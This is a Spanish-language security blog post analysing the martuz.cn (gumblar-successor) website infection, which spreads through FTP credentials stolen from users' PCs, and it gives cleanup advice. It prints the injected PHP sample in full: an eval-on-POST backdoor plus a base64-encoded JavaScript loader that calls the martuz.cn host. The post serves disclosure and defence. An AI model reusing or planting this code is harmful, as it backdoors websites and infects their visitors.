Recientemente muchos dominio martuz.cn (95 .129 .145 .58). Este script no es mas que la evolución del script conocido como gumblar.cn que ya no esta activo.

El script inyecta un código malicioso codificado en los archivos .php y .html de los sitios web infectados, sin embargo no altera el contenido del sitio web, ya que de lo que se trata es de llamar al verdadero archivo ejecutable que se encuentra alojado en el dominio martuz.cn de esta manera cuando el visitante desprevenido visita un sitio web infectado, ejecuta sin darse cuenta un script malicioso alojado en otro servidor. Debido a este comportamiento, los usuarios de firefox con NoScript  son inmunes.
 

El código insertado es similar al siguiente:

if(!function_exists(‘tmp_lkojfghx’)){if(isset($_POST[‘tmp_lkojfghx3’]))eval($_POST[‘tmp_lkojfghx3’]);if(!defined(‘TMP_XHGFJOKL’))define(‘TMP_XHGFJOKL’,base64_decode(‘PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBmN0Q9J3ZhPjcyPjIwYT4zZD4yMlNjPjcyaT43MHRFbj42N2luPjY1PjIyPjJjYj4zZD4yMlZlcj43Mz42OT42Zm4oKT4yYj4yMj4yY2o+M2Q+MjI+MjI+MmN1PjNkbmF2PjY5Z2F0b3I+MmV1PjczZXJBZ2VudD4zYmlmKD4yOHU+MmVpbmQ+NjV4T2YoPjIyPjQzPjY4Pjcyb21lPjIyKT4zYzApPjI2PjI2KHU+MmVpbj42NGV4PjRmZj4yOD4yMlc+Njk+NmU+MjI+Mjk+M2UwKT4yNj4yNih1PjJlaW5kZT43OD40Zj42Nig+MjJOVD4yMD4zNj4yMik+M2MwKT4yNj4yNj4yOGRvPjYzdW0+NjVudD4yZWNvbz42Ymk+NjU+MmVpbmRleE9mKD4yMm1pPjY1az4zZD4zMT4yMik+M2M+MzApPjI2PjI2KD43NHlwZW9mKD43YXI+NzZ6dHMpPjIxPjNkPjc0eXBlbz42Nj4yOD4yMj40MT4yMikpKT43Ynpydj43YXRzPjNkPjIyPjQxPjIyPjNiPjY1Pjc2PjYxbCg+MjJpZih3aW5kb3c+MmU+MjIrYT4yYj4yMilqPjNkPjZhKz4yMis+NjErPjIyTWFqb3I+MjIrYithKz4yMk1pPjZlb3I+MjIrPjYyK2ErPjIyQj43NWlsZD4yMitiKz4yMj42YT4zYj4yMik+M2Jkb2M+NzVtZT42ZXQ+MmU+Nzc+NzJpdGUoPjIyPjNjc2NyaT43MHQ+MjA+NzNyYz4zZD4yZj4yZm1hcj4yMis+MjJ0dXo+MmU+NjNuPjJmdmk+NjQ+MmY+M2ZpZD4zZD4yMj4yYj42YSs+MjI+M2U+M2M+NWM+MmZzY3I+NjlwdD4zZT4yMik+M2I+N2QnO3ZhciBqYjY9ZjdELnJlcGxhY2UoLz4vZywnJScpO3ZhciBndklqPXVuZXNjYXBlKGpiNik7ZXZhbChndklqKX0pKCk7CiAtLT48L3NjcmlwdD4=’));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all(‘#<script(.*?)</script>#is’,$s,$a))foreach($a[0] as $v)if(count(explode("n",$v))>5){$e=preg_match(‘#[‘"][^s’".,;?![]:/<>()]{30,}#’,$v)||preg_match(‘#[([](s*d+,){20,}#’,$v);if((preg_match(‘#bevalb#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}$s1=preg_replace(‘#<script language=javascript><!– n(function(.+?n –></script>#’,”,$s);if(stristr($s,'<body’))$s=preg_replace(‘#(s*<body)#mi’,TMP_XHGFJOKL.’1′,$s1);elseif(($s1!=$s)||stristr($s,'</body’)||stristr($s,'</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS[‘tmp_xhgfjokl’])call_user_func($GLOBALS[‘tmp_xhgfjokl’],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v[‘name’])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a);for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’);for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo$s[$i [1];}}}if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2’)$GLOBALS[‘tmp_xhgfjokl’]=$a;tmp_lkojfghx2();

 

Como se infecta un sitio web?

A diferencia de otros exploit, este no es inyectado en los sitios web mediante ataques de diccionario a los servidores, ni tampoco aprovechando vulnerabilidades del servicio FTP. En este caso los atacantes están usando el punto mas débil de la seguridad de todo sistema: el usuario.

Una vez que el computador personal de un usuario es infectado (normalmente debido a que visito un sitio web comprometido), el virus se dedica a capturar credenciales FTP desde el computador del usuario. (basta pensar en cuantas personas dejan marcada la opción “recordar contraseña” no solo en sus clientes FTP sino en muchos otros programas…), y es con esta información con la cual el atacante puede entrar (de forma manual o automatizada) a incluir el código malicioso en otros sitios web, y el ciclo se repite. Debido a esto, puedes ver sitios infectados que usan oscommerce, wordpress, joomla, magento, phpBB o incluso sitios que usaban solo html.

Otra consecuencia de esta forma de acceso, es que si el servidor web cuenta con algún tipo de sistema contra intrusiones, lo mas posible es que este NO ACTUARA, ya que al fin y al cabo, se trata de un acceso  por FTP normal, con el usuario y la contraseña correcta desde el primer intento.

Como remover el virus de un sitio comprometido

Lo primero que se debe hacer es cambiar la clave del FTP, pero no sirve de nada hacerlo desde el mismo computador o servidor que ha sido infectado, porque el virus obtendría la clave actualizada. Esta debe ser cambiada desde un computador que no haya tenido ninguna relación con el sitio web (si puede hacerse desde un computador con GNU/Linux o un Mac, aun mejor).

Después se debe pasar un buen antivirus (que este actualizado!), sobre cualquier computador que haya podido albergar las credenciales FTP del sitio web, ya que de no hacerlo las posibilidades de que el sitio se vuelva a infectar son muy altas.

Y finalmente restaura los archivos del sitio web desde una copia de seguridad, sino dispones de una copia de seguridad actualizada tendrás que descargar los archivos a tu computador, abrirlos uno por uno (en un editor de texto, no en el navegador 😉 ) y remover las secciones agregadas por el virus en todas las extensiones de archivo (.html, .php, .js, etc.).  Normalmente el código malicioso se encuentra al final del código html.